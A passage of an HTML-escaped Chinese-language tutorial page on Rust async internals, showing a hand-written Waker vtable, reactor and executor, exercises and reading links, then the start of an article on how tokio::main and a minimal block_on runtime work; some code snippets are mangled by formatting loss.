    let mut future = unsafe { Pin::new_unchecked(&amp;amp;mut future) };
    loop {
        match Future::poll(future.as_mut(), &amp;amp;mut cx) {
            Poll::Ready(val) =&amp;gt; break val,
            Poll::Pending =&amp;gt; parker.park(),
        };
    }
}
&amp;#x2F;&amp;#x2F; ====================== FUTURE IMPLEMENTATION ==============================
#[derive(Clone)]
struct MyWaker {
    parker: Arc&amp;lt;Parker&amp;gt;,
}

#[derive(Clone)]
pub struct Task {
    id: usize,
    reactor: Arc&amp;lt;Mutex&amp;lt;Box&amp;lt;Reactor&amp;gt;&amp;gt;&amp;gt;,
    data: u64,
}

fn mywaker_wake(s: &amp;amp;MyWaker) {
    let waker_arc = unsafe { Arc::from_raw(s) };
    waker_arc.parker.unpark();
}

fn mywaker_clone(s: &amp;amp;MyWaker) -&amp;gt; RawWaker {
    let arc = unsafe { Arc::from_raw(s) };
    std::mem::forget(arc.clone()); &amp;#x2F;&amp;#x2F; increase ref count
    RawWaker::new(Arc::into_raw(arc) as *const (), &amp;amp;VTABLE)
}

const VTABLE: RawWakerVTable = unsafe {
    RawWakerVTable::new(
        |s| mywaker_clone(&amp;amp;*(s as *const MyWaker)),   &amp;#x2F;&amp;#x2F; clone
        |s| mywaker_wake(&amp;amp;*(s as *const MyWaker)),    &amp;#x2F;&amp;#x2F; wake
        |s| mywaker_wake(*(s as *const &amp;amp;MyWaker)),    &amp;#x2F;&amp;#x2F; wake by ref
        |s| drop(Arc::from_raw(s as *const MyWaker)), &amp;#x2F;&amp;#x2F; decrease refcount
    )
};

fn mywaker_into_waker(s: *const MyWaker) -&amp;gt; Waker {
    let raw_waker = RawWaker::new(s as *const (), &amp;amp;VTABLE);
    unsafe { Waker::from_raw(raw_waker) }
}

impl Task {
    fn new(reactor: Arc&amp;lt;Mutex&amp;lt;Box&amp;lt;Reactor&amp;gt;&amp;gt;&amp;gt;, data: u64, id: usize) -&amp;gt; Self {
        Task { id, reactor, data }
    }
}

impl Future for Task {
    type Output = usize;
    fn poll(self: Pin&amp;lt;&amp;amp;mut Self&amp;gt;, cx: &amp;amp;mut Context&amp;lt;&amp;#x27;_&amp;gt;) -&amp;gt; Poll&amp;lt;Self::Output&amp;gt; {
        let mut r = self.reactor.lock().unwrap();
        if r.is_ready(self.id) {
            *r.tasks.get_mut(&amp;amp;self.id).unwrap() = TaskState::Finished;
            Poll::Ready(self.id)
        } else if r.tasks.contains_key(&amp;amp;self.id) {
            r.tasks.insert(self.id, TaskState::NotReady(cx.waker().clone()));
            Poll::Pending
        } else {
            r.register(self.data, cx.waker().clone(), self.id);
            Poll::Pending
        }
    }
}
&amp;#x2F;&amp;#x2F; =============================== REACTOR ===================================
enum TaskState {
    Ready,
    NotReady(Waker),
    Finished,
}
struct Reactor {
    dispatcher: Sender&amp;lt;Event&amp;gt;,
    handle: Option&amp;lt;JoinHandle&amp;lt;()&amp;gt;&amp;gt;,
    tasks: HashMap&amp;lt;usize, TaskState&amp;gt;,
}

#[derive(Debug)]
enum Event {
    Close,
    Timeout(u64, usize),
}

impl Reactor {
    fn new() -&amp;gt; Arc&amp;lt;Mutex&amp;lt;Box&amp;lt;Self&amp;gt;&amp;gt;&amp;gt; {
        let (tx, rx) = channel::&amp;lt;Event&amp;gt;();
        let reactor = Arc::new(Mutex::new(Box::new(Reactor {
            dispatcher: tx,
            handle: None,
            tasks: HashMap::new(),
        })));

        let reactor_clone = Arc::downgrade(&amp;amp;reactor);
        let handle = thread::spawn(move || {
            let mut handles = vec![];
            for event in rx {
                let reactor = reactor_clone.clone();
                match event {
                    Event::Close =&amp;gt; break,
                    Event::Timeout(duration, id) =&amp;gt; {
                        let event_handle = thread::spawn(move || {
                            thread::sleep(Duration::from_secs(duration));
                            let reactor = reactor.upgrade().unwrap();
                            reactor.lock().map(|mut r| r.wake(id)).unwrap();
                        });
                        handles.push(event_handle);
                    }
                }
            }
            handles.into_iter().for_each(|handle| handle.join().unwrap());
        });
        reactor.lock().map(|mut r| r.handle = Some(handle)).unwrap();
        reactor
    }

    fn wake(&amp;amp;mut self, id: usize) {
        let state = self.tasks.get_mut(&amp;amp;id).unwrap();
        match mem::replace(state, TaskState::Ready) {
            TaskState::NotReady(waker) =&amp;gt; waker.wake(),
            TaskState::Finished =&amp;gt; panic!(&amp;quot;Called &amp;#x27;wake&amp;#x27; twice on task: {}&amp;quot;, id),
            _ =&amp;gt; unreachable!()
        }
    }

    fn register(&amp;amp;mut self, duration: u64, waker: Waker, id: usize) {
        if self.tasks.insert(id, TaskState::NotReady(waker)).is_some() {
            panic!(&amp;quot;Tried to insert a task with id: &amp;#x27;{}&amp;#x27;, twice!&amp;quot;, id);
        }
        self.dispatcher.send(Event::Timeout(duration, id)).unwrap();
    }

    fn close(&amp;amp;mut self) {
        self.dispatcher.send(Event::Close).unwrap();
    }

    fn is_ready(&amp;amp;self, id: usize) -&amp;gt; bool {
        self.tasks.get(&amp;amp;id).map(|state| match state {
            TaskState::Ready =&amp;gt; true,
            _ =&amp;gt; false,
        }).unwrap_or(false)
    }
}

impl Drop for Reactor {
    fn drop(&amp;amp;mut self) {
        self.handle.take().map(|h| h.join().unwrap()).unwrap();
    }
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;jie-lun-he-lian-xi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;conclusion.html#%E7%BB%93%E8%AE%BA%E5%92%8C%E7%BB%83%E4%B9%A0&quot;&gt;结论和练习&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;我们的实现采取了一些明显的捷径，可以使用一些改进。 实际上，深入研究代码并自己尝试一些事情是一个很好的学习方式。 如果你想探索更多，这里有一些很好的练习&lt;&#x2F;p&gt;
&lt;h4 id=&quot;bian-ma-park&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;conclusion.html#%E7%BC%96%E7%A0%81park&quot;&gt;编码park&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;使用 Thread: : park 和 Thread: : unpark 的大问题是用户可以从自己的代码访问这些相同的方法。 尝试使用另一种方法来挂起线程并根据我们的命令再次唤醒它。 一些提示:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;stable&#x2F;std&#x2F;sync&#x2F;struct.Condvar.html&quot;&gt;std::sync::CondVar&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;crossbeam-rs&#x2F;crossbeam&quot;&gt;crossbeam::sync::Parker&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;bian-ma-chuan-di-reactor&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;conclusion.html#%E7%BC%96%E7%A0%81%E4%BC%A0%E9%80%92reactor&quot;&gt;编码传递reactor&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;避免包装整个Reactor in a mutex and pass it around 在互斥对象中传递&lt;&#x2F;p&gt;
&lt;p&gt;首先，保护整个reactor并传递它是过分的。 我们只对同步它包含的部分信息感兴趣。 尝试将其重构出来，只同步访问真正需要的内容。&lt;&#x2F;p&gt;
&lt;p&gt;我建议您看看&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;async-rs&#x2F;async-std&#x2F;blob&#x2F;master&#x2F;src&#x2F;net&#x2F;driver&#x2F;mod.rs&quot;&gt;async_std驱动程序&lt;&#x2F;a&gt;是如何实现的，以及&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tokio-rs&#x2F;tokio&#x2F;blob&#x2F;master&#x2F;tokio&#x2F;src&#x2F;runtime&#x2F;basic_scheduler.rs&quot;&gt;tokio调度程序&lt;&#x2F;a&gt;是如何实现的，以获得一些灵感。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;你想使用Arc来传递这些信息的引用?&lt;&#x2F;li&gt;
&lt;li&gt;你是否想创建一个全局的reactor,这样他可以随时随地被访问?&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;chuang-jian-yi-ge-geng-hao-de-zhi-xing-qi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;conclusion.html#%E5%88%9B%E5%BB%BA%E4%B8%80%E4%B8%AA%E6%9B%B4%E5%A5%BD%E7%9A%84%E6%89%A7%E8%A1%8C%E5%99%A8&quot;&gt;创建一个更好的执行器&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;现在我们只支持一个一个Future运行. 大多数运行时都有一个spawn函数,让你能够启动一个future,然后await它. 这样你就可以同时运行多个Future.&lt;&#x2F;p&gt;
&lt;p&gt;正如我在本书开头所建议的那样，访问&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stjepang.github.io&#x2F;2020&#x2F;01&#x2F;31&#x2F;build-your-own-executor.html&quot;&gt;stjepan 的博客系列&lt;&#x2F;a&gt;，了解如何实现你自己的执行者，是我将要开始的地方，并从那里开始。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;jin-yi-bu-yue-du&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;conclusion.html#%E8%BF%9B%E4%B8%80%E6%AD%A5%E9%98%85%E8%AF%BB&quot;&gt;进一步阅读&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rust-lang.github.io&#x2F;async-book&#x2F;01_getting_started&#x2F;01_chapter.html&quot;&gt;The official Asyc book&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;book.async.rs&#x2F;&quot;&gt; The async_std book&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;aturon.github.io&#x2F;blog&#x2F;2016&#x2F;09&#x2F;07&#x2F;futures-design&#x2F;&quot;&gt;Aron Turon: Designing futures for Rust&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.infoq.com&#x2F;presentations&#x2F;rust-2019&#x2F;&quot;&gt;Steve Klabnik&#x27;s presentation: Rust&#x27;s journey to Async&#x2F;Await&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tokio.rs&#x2F;blog&#x2F;2019-10-scheduler&#x2F;&quot;&gt;The Tokio Blog&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stjepang.github.io&#x2F;&quot;&gt;Stjepan&#x27;s blog with a series where he implements an Executor&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;youtu.be&#x2F;DkMwYxfSYNQ&quot;&gt;Jon Gjengset&#x27;s video on The Why, What and How of Pinning in Rust&lt;&#x2F;a&gt;   有中英文字幕的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.bilibili.com&#x2F;video&#x2F;BV1tK411L7s5&#x2F;&quot;&gt;B站链接&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;boats.gitlab.io&#x2F;blog&#x2F;post&#x2F;2018-01-25-async-i-self-referential-structs&#x2F;&quot;&gt;Withoutboats blog series about async&#x2F;await&lt;&#x2F;a&gt;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;8_finished_example.html &quot;Previous chapter&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;async-rust-de-shi-xian&quot;&gt;Async Rust 的实现&lt;&#x2F;h2&gt;
&lt;p&gt;绝大多数第一次接触 Async Rust 的开发者所写的 Hello World 程序是下面这样的：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;async fn say_world() {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    println!(&quot;world&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#[tokio::main]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;async fn main() {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   &#x2F;&#x2F; Calling&lt;&#x2F;code&gt;say_world()&lt;code&gt;does not execute the body of&lt;&#x2F;code&gt;say_world()&lt;code&gt;.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let op = say_world();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F; This println! comes first&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    println!(&quot;hello&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   &#x2F;&#x2F; Calling&lt;&#x2F;code&gt;.await&lt;code&gt;on&lt;&#x2F;code&gt;op&lt;code&gt;starts executing&lt;&#x2F;code&gt;say_world&lt;code&gt;.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    op.await;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;目前最流行的 Rust Async Runtime &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tokio.rs&#x2F;&quot;&gt;tokio&lt;&#x2F;a&gt; 告诉你，只要在 main 函数前加上 &lt;code&gt;#[tokio::main]&lt;&#x2F;code&gt; 这个咒语，再把 main 函数定义成一个 &lt;code&gt;async fn&lt;&#x2F;code&gt; 函数，就可以在程序的任何地方用 &lt;code&gt;async fn&lt;&#x2F;code&gt; 和 &lt;code&gt;.await&lt;&#x2F;code&gt; 语法享受到并发编程的免费午餐了。&lt;&#x2F;p&gt;
&lt;p&gt;但是，这样的解释显然不足以满足相信 Rust 尽可能显式表达所有开销的哲学的人；也就是说，到底 async fn 里的逻辑是怎么被执行的，代码中出现 &lt;code&gt;.await&lt;&#x2F;code&gt; 的时候，Rust 程序实际在执行什么动作。&lt;&#x2F;p&gt;
&lt;p&gt;本文基于具体的异步运行时和并发库代码，介绍支持 Rust 并发模型工作的核心概念。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;async-runtime&quot;&gt;Async Runtime&lt;&#x2F;h3&gt;
&lt;p&gt;Rust 语言是一门系统级编程语言，这意味着 Rust 程序不像 Node.js 程序那样自带运行时。这不仅意味着没有全局管理内存的垃圾回收器，也意味着没有一个全局默认的异步任务运行时。&lt;&#x2F;p&gt;
&lt;p&gt;例如，以下 Node.js 代码会打印出 Hello world 字串：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;(async function() { console.log(&#x27;Hello world&#x27;); })()&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;而相似的 Rust 代码却不会有任何输出：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;async { println!(&quot;Hello world&quot;) };&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;Rust 编译器提示：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;note: futures do nothing unless you &lt;&#x2F;code&gt;.await&lt;code&gt; or poll them&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;如果在上述代码后加入 &lt;code&gt;.await&lt;&#x2F;code&gt; 调用：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;async { println!(&quot;42&quot;) }.await;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;编译会直接报错：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;``await&lt;code&gt;is only allowed inside&lt;&#x2F;code&gt;async&lt;code&gt; functions and blocks&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;编译器提示 &lt;code&gt;.await&lt;&#x2F;code&gt; 只能在 &lt;code&gt;async&lt;&#x2F;code&gt; 代码块里使用，我们尝试把 main 函数改成 async 函数：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;async fn main() {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    async { println!(&quot;Hello world&quot;) }.await&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;编译器同样报错：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;mainasync&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;我们回过头看 tokio 的示例，再添加了 &lt;code&gt;#[tokio::main]&lt;&#x2F;code&gt; 以后，似乎 main 函数就可以写成 &lt;code&gt;async fn main&lt;&#x2F;code&gt; 了，也能用 &lt;code&gt;.await&lt;&#x2F;code&gt; 触发 Future 计算了。&lt;&#x2F;p&gt;
&lt;p&gt;查看 tokio 的文档，可以知道 &lt;code&gt;#[tokio:main]&lt;&#x2F;code&gt; 实际上是一个过程宏，它会把 &lt;code&gt;async fn main&lt;&#x2F;code&gt; 展开成：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;fn main() {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    tokio::runtime::Builder::new_multi_thread()&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        .enable_all()&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        .build()&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        .unwrap()&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        .block_on(async {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            println!(&quot;Hello world&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        });&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;由此，我们知道，在 Rust 程序里要想执行 async 块里的并发代码，我们需要先构造一个 Async Runtime 的实例，再调用类似 &lt;code&gt;block_on&lt;&#x2F;code&gt; 的方法来驱动并发计算执行。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;simplest-runtime&quot;&gt;Simplest Runtime&lt;&#x2F;h3&gt;
&lt;p&gt;tokio 为我们提供了一个功能完备的异步运行时。然而，tokio 的实现也是极其复杂的。要想理解 Rust 异步运行时的执行逻辑，我们可以先实现一个最简单的异步运行时：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;struct ThreadWaker(Thread);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;impl Wake for ThreadWaker {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  fn wake(self: Arc) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        self.0.unpark();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;fn block_on&amp;lt;F: Future&amp;gt;(fut: F) -&amp;gt; F::Output {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let mut fut = pin!(fut);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let t = thread::current();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let waker = Arc::new(ThreadWaker(t)).into();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let mut cx = Context::from_waker(&amp;amp;waker);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    loop {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        match fut.as_mut().poll(&amp;amp;mut cx) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            Poll::Ready(res) =&amp;gt; return res,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            Poll::Pending =&amp;gt; thread::park(),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;应用代码如下：&lt;&#x2F;p&gt;
